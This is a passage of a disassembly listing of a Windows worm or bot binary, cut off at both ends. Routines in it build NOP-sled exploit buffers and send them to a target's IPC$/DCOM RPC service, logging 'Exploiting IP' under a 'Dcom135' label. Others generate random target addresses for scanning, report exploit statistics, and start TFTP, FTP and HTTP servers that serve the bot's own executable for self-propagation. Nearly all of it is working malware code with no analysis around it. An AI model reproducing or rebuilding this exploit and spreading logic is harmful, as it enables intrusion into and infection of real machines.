		pop	ebx
		leave
		retn
sub_401A39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B98	proc near		; CODE XREF: sub_401FD7+116p
					; sub_401FD7+138p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
Src		= byte ptr -104h
var_103		= byte ptr -103h
Dst		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
Str		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	__alloca_probe
		mov	eax, dword_41E808
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_41E80C
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+Str]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_401BD7:				; CODE XREF: sub_401B98+4Ej
		mov	cl, [ebp+esi+Str]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_401BD7
		push	60h		; Size
		lea	eax, [ebp+Dst]
		push	offset dword_41E280 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	eax, 1
		push	eax		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [ebp+var_84]
		push	eax		; Dst
		call	_memcpy
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	9		; Size
		push	(offset	aC_2+3)	; Src
		push	eax		; Str
		call	_strlen
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		add	al, 1Ah
		push	1		; Size
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax		; Src
		lea	eax, [ebp+var_B1]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	al, 1
		add	al, 9
		push	1		; Size
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax		; Src
		lea	eax, [ebp+var_87]
		push	eax		; Dst
		call	_memcpy
		mov	ax, word_41E670
		add	esp, 2Ch
		push	eax
		call	dword_42EBB4	; htons
		xor	eax, 9999h
		push	2		; Size
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax		; Src
		push	offset dword_41DF80 ; Dst
		call	_memcpy
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_401D94
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi		; Size
		push	90h		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_C0]
		push	4		; Size
		imul	eax, 3Ch
		lea	eax, dword_41E6B0[eax]
		mov	[ebp+var_14], eax
		push	eax		; Src
		lea	eax, [ebp+var_14E0]
		push	eax		; Dst
		call	_memcpy
		mov	esi, offset Str	; "ë"
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_14D0]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_11AC]
		push	offset dword_41E7F4 ; Src
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 40h
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_119C]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_401D4D:				; CODE XREF: sub_401B98+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_401D4D
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi		; Size
		push	31h		; Val
		push	eax		; Dst
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	_memset
		push	esi		; Size
		lea	eax, [ebp+var_68DC]
		push	31h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		jmp	short loc_401DEB
; ---------------------------------------------------------------------------


loc_401D94:				; CODE XREF: sub_401B98+118j
		push	7D0h		; Size
		lea	eax, [ebp+var_F14]
		push	90h		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, offset Str	; "ë"
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_E74]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_10]
		push	eax		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_10]
		push	eax		; Src
		lea	eax, [ebp+var_758]
		push	eax		; Dst
		call	_memcpy
		mov	eax, dword_41E6B0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_401DEB:				; CODE XREF: sub_401B98+1FAj
		push	0E29h		; Size
		lea	eax, [ebp+var_2CA8]
		push	31h		; Val
		push	eax		; Dst
		call	_memset
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401E2A


loc_401E23:				; CODE XREF: sub_401B98+2B9j
					; sub_401B98+2E0j ...
		xor	al, al
		jmp	loc_401FD2
; ---------------------------------------------------------------------------


loc_401E2A:				; CODE XREF: sub_401B98+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_42EBCC	; recv
		push	ebx
		push	68h
		push	offset dword_41E2E4
		push	edi
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401E23
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_42EBCC	; recv
		push	ebx
		push	0A0h
		push	offset dword_41E350
		push	edi
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401E23
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_42EBCC	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_401F40
		push	68h		; Size
		lea	eax, [ebp+var_89B4]
		push	offset dword_41E508 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_4804]
		push	1B5Ah		; Size
		push	eax		; Src
		lea	eax, [ebp+var_894C]
		push	eax		; Dst
		call	_memcpy
		push	70h		; Size
		lea	eax, [ebp+var_68DC]
		push	offset dword_41E574 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_3770]
		push	0A5Eh		; Size
		push	eax		; Src
		lea	eax, [ebp+var_686C]
		push	eax		; Dst
		call	_memcpy
		push	84h		; Size
		lea	eax, [ebp+var_5DA8]
		push	offset dword_41E5E8 ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401E23
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_42EBCC	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_401F96
; ---------------------------------------------------------------------------


loc_401F40:				; CODE XREF: sub_401B98+2F8j
		push	7Ch		; Size
		lea	eax, [ebp+var_2CA8]
		push	offset dword_41E3F4 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_F14]
		push	7D0h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_2C2C]
		push	eax		; Dst
		call	_memcpy
		push	90h		; Size
		lea	eax, [ebp+var_245C]
		push	offset off_41E474 ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_401F96:				; CODE XREF: sub_401B98+3A6j
		push	eax
		push	edi
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401E23
		push	12Ch
		call	ds:dword_41B048	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401A39
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_401FD2:				; CODE XREF: sub_401B98+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401B98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_401FD7(int,char,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_401FD7	proc near		; CODE XREF: .text:00401773p

var_854		= byte ptr -854h
var_810		= byte ptr -810h
Dest		= byte ptr -214h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
Str		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], edi
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	dword_42EBF0	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_10], eax
		call	dword_42EBB4	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_42EC30	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4020D0
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	dword_42EB60	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4020D0
		push	edi
		push	89h
		push	offset dword_41E068
		push	ebx
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4020D0
		mov	esi, 640h
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_42EBCC	; recv
		push	edi
		push	0A8h
		push	offset dword_41E0F4
		push	ebx
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4020D0
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_42EBCC	; recv
		push	edi
		push	0DEh
		push	offset dword_41E1A0
		push	ebx
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4020D0
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_42EBCC	; recv
		movsx	eax, [ebp+var_810]
		sub	eax, 30h
		jz	short loc_4020DA
		dec	eax
		jz	short loc_4020D7


loc_4020D0:				; CODE XREF: sub_401FD7+54j
					; sub_401FD7+6Aj ...
		xor	eax, eax
		jmp	loc_40219D
; ---------------------------------------------------------------------------


loc_4020D7:				; CODE XREF: sub_401FD7+F7j
		push	edi
		jmp	short loc_4020FE
; ---------------------------------------------------------------------------


loc_4020DA:				; CODE XREF: sub_401FD7+F4j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401B98
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40211E
		push	1


loc_4020FE:				; CODE XREF: sub_401FD7+101j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401B98
		add	esp, 0C4h
		test	al, al
		jz	short loc_402125


loc_40211E:				; CODE XREF: sub_401FD7+123j
		mov	[ebp+var_4], 1


loc_402125:				; CODE XREF: sub_401FD7+145j
		push	ebx
		call	dword_42EC48	; closesocket
		cmp	[ebp+var_4], 0
		jz	short loc_40219A
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_B0]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		mov	eax, [ebp+arg_A8]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_41F098[eax]
		lea	eax, dword_41F098[eax]


loc_40219A:				; CODE XREF: sub_401FD7+159j
		push	1
		pop	eax


loc_40219D:				; CODE XREF: sub_401FD7+FBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401FD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4021A2(int,char *Str,int)

sub_4021A2	proc near		; CODE XREF: sub_409557+4FFEp

Source		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+Dest]
		push	offset aScanExploitSta ; "[SCAN]: Exploit Statistics:"
		push	eax		; Dest
		xor	ebx, ebx
		call	_sprintf
		cmp	dword_41F090, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_402210
		push	esi
		mov	esi, offset dword_41F098


loc_4021D5:				; CODE XREF: sub_4021A2+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+Source]
		push	offset aSD	; " %s:	%d,"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_4021D5
		pop	esi


loc_402210:				; CODE XREF: sub_4021A2+2Bj
		push	dword_4750D0
		call	sub_410D66
		push	eax
		push	ebx
		lea	eax, [ebp+Source]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_4021A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40226C(int,char *Str,int,int)

sub_40226C	proc near		; CODE XREF: sub_409557+4978p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_411E82
		test	eax, eax
		pop	ecx
		jle	short loc_4022A8
		mov	eax, [ebp+arg_C]
		push	dword_428D68[eax*8]
		call	dword_42EC3C	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aScanCurrentIpS ; "[SCAN]: Current IP: %s."
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_4022BB
; ---------------------------------------------------------------------------


loc_4022A8:				; CODE XREF: sub_40226C+13j
		lea	eax, [ebp+Dest]
		push	offset aScanScanNotAct ; "[SCAN]: Scan not active."
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4022BB:				; CODE XREF: sub_40226C+3Aj
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		add	esp, 18h
		leave
		retn
sub_40226C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4022E3(int,int,int,int,char Source,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_4022E3	proc near		; CODE XREF: sub_402A0C+4Fp

var_210		= dword	ptr -210h
Dest		= byte ptr -204h
var_4		= byte ptr -4
Source		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_402673
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_41F09C[eax], ebx
		jz	loc_402554
		push	4
		call	sub_411E82
		test	eax, eax
		pop	ecx
		jnz	loc_402673
		mov	eax, dword_424A48
		push	edi
		mov	edi, offset dword_429D24
		push	104h
		push	edi
		push	ebx
		mov	dword_429F34, eax
		mov	dword_429F30, ebx
		call	ds:dword_41B068	; GetModuleFileNameA
		push	103h		; Count
		mov	esi, offset byte_429E28
		push	offset aGvujaleodq_exe ; "gvujaleodq.exe"
		push	esi		; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_429D20, eax
		mov	eax, [ebp+arg_138]
		push	7Fh		; Count
		mov	dword_429FB8, eax
		jnz	short loc_402396
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	offset byte_429F38 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_429FBC, 1
		jmp	short loc_4023B0
; ---------------------------------------------------------------------------


loc_402396:				; CODE XREF: sub_4022E3+94j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_429F38 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_429FBC, ebx


loc_4023B0:				; CODE XREF: sub_4022E3+B1j
		push	esi
		push	edi
		push	dword_429F34
		lea	eax, [ebp+Dest]
		push	offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	4		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 20h
		mov	dword_429F2C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_429D20
		push	offset sub_411743
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, dword_429F2C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40241F


loc_40240D:				; CODE XREF: sub_4022E3+13Aj
		cmp	dword_429FC0, ebx
		jnz	short loc_40243A
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40240D
; ---------------------------------------------------------------------------


loc_40241F:				; CODE XREF: sub_4022E3+128j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aTftpFailedToSt ; "[TFTP]: Failed to start server, error: "...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40243A:				; CODE XREF: sub_4022E3+130j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		mov	edi, offset dword_42A37C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_42A588, ebx
		call	ds:dword_41B068	; GetModuleFileNameA
		push	103h		; Count
		mov	esi, offset byte_42A480
		push	offset aGvujaleodq_exe ; "gvujaleodq.exe"
		push	esi		; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_42A378, eax
		mov	eax, [ebp+arg_138]
		push	7Fh		; Count
		mov	dword_42A610, eax
		jnz	short loc_4024B5
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	offset byte_42A590 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_42A614, 1
		jmp	short loc_4024CF
; ---------------------------------------------------------------------------


loc_4024B5:				; CODE XREF: sub_4022E3+1B3j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_42A590 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_42A614, ebx


loc_4024CF:				; CODE XREF: sub_4022E3+1D0j
		push	esi
		push	edi
		push	dword_42A58C
		lea	eax, [ebp+Dest]
		push	offset aFtpServerStart ; "[FTP]: Server	started	on Port: %d, File"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	5		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 20h
		mov	dword_42A584, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_42A378
		push	offset sub_404059
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, dword_42A584
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_402543


loc_40252D:				; CODE XREF: sub_4022E3+25Ej
		cmp	dword_42A618, ebx
		jnz	loc_402666
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40252D
; ---------------------------------------------------------------------------


loc_402543:				; CODE XREF: sub_4022E3+248j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aFtpFailedToSta ; "[FTP]: Failed	to start server, error:	<"...
		jmp	loc_402657
; ---------------------------------------------------------------------------


loc_402554:				; CODE XREF: sub_4022E3+25j
		cmp	dword_41F0A0[eax], ebx
		jz	loc_402673
		push	3
		call	sub_411E82
		test	eax, eax
		pop	ecx
		jnz	loc_402673
		mov	esi, offset byte_42A254
		push	104h
		push	esi
		push	ebx
		call	ds:dword_41B068	; GetModuleFileNameA
		push	5Ch		; Ch
		push	esi		; Str
		call	_strrchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_402592
		mov	[eax], bl


loc_402592:				; CODE XREF: sub_4022E3+2ABj
		mov	eax, dword_424A4C
		mov	dword_42A36C, ebx
		mov	dword_42A358, eax
		lea	eax, [ebp+Source]
		push	eax		; Format
		push	offset Dest	; Dest
		call	_sprintf
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_429FC8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_42A358
		mov	dword_42A364, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_42A368, ecx
		call	sub_408401
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	3		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 20h
		mov	dword_42A360, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_429FC8
		push	offset sub_404771
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, dword_42A360
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40264B


loc_402639:				; CODE XREF: sub_4022E3+366j
		cmp	dword_42A374, ebx
		jnz	short loc_402666
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_402639
; ---------------------------------------------------------------------------


loc_40264B:				; CODE XREF: sub_4022E3+354j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpdFailedToS ; "[HTTPD]: Failed to start server, error:"...


loc_402657:				; CODE XREF: sub_4022E3+26Cj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_402666:				; CODE XREF: sub_4022E3+250j
					; sub_4022E3+35Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		pop	ecx


loc_402673:				; CODE XREF: sub_4022E3+14j
					; sub_4022E3+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_4022E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_402677(int Dst)

sub_402677	proc near		; CODE XREF: sub_4027F8:loc_402869p

Dst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Dst]
		push	esi
		push	4		; Size
		lea	esi, ds:428D68h[eax*8]
		lea	eax, [ebp+Dst]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+Dst]
		call	dword_42EAF8	; htonl
		inc	eax
		push	eax
		mov	[ebp+Dst], eax
		call	dword_42EBB0	; htonl
		mov	[ebp+Dst], eax
		lea	eax, [ebp+Dst]
		push	4		; Size
		push	eax		; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_402677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4026BF(char *Src,int)

sub_4026BF	proc near		; CODE XREF: sub_4027F8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+Src]	; Str
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	_strlen
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_4026E7
		xor	eax, eax
		jmp	short loc_402758
; ---------------------------------------------------------------------------


loc_4026E7:				; CODE XREF: sub_4026BF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+Src]	; Src
		call	_sscanf
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_402714
		call	_rand
		mov	[ebp+var_C], eax


loc_402714:				; CODE XREF: sub_4026BF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_402721
		call	_rand
		mov	[ebp+var_8], eax


loc_402721:				; CODE XREF: sub_4026BF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40272E
		call	_rand
		mov	[ebp+var_4], eax


loc_40272E:				; CODE XREF: sub_4026BF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40273A
		call	_rand


loc_40273A:				; CODE XREF: sub_4026BF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_428D68[ecx*8], eax


loc_402758:				; CODE XREF: sub_4026BF+26j
		pop	esi
		leave
		retn
sub_4026BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40275B	proc near		; CODE XREF: sub_4027F8+B8p
					; sub_403EEB+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
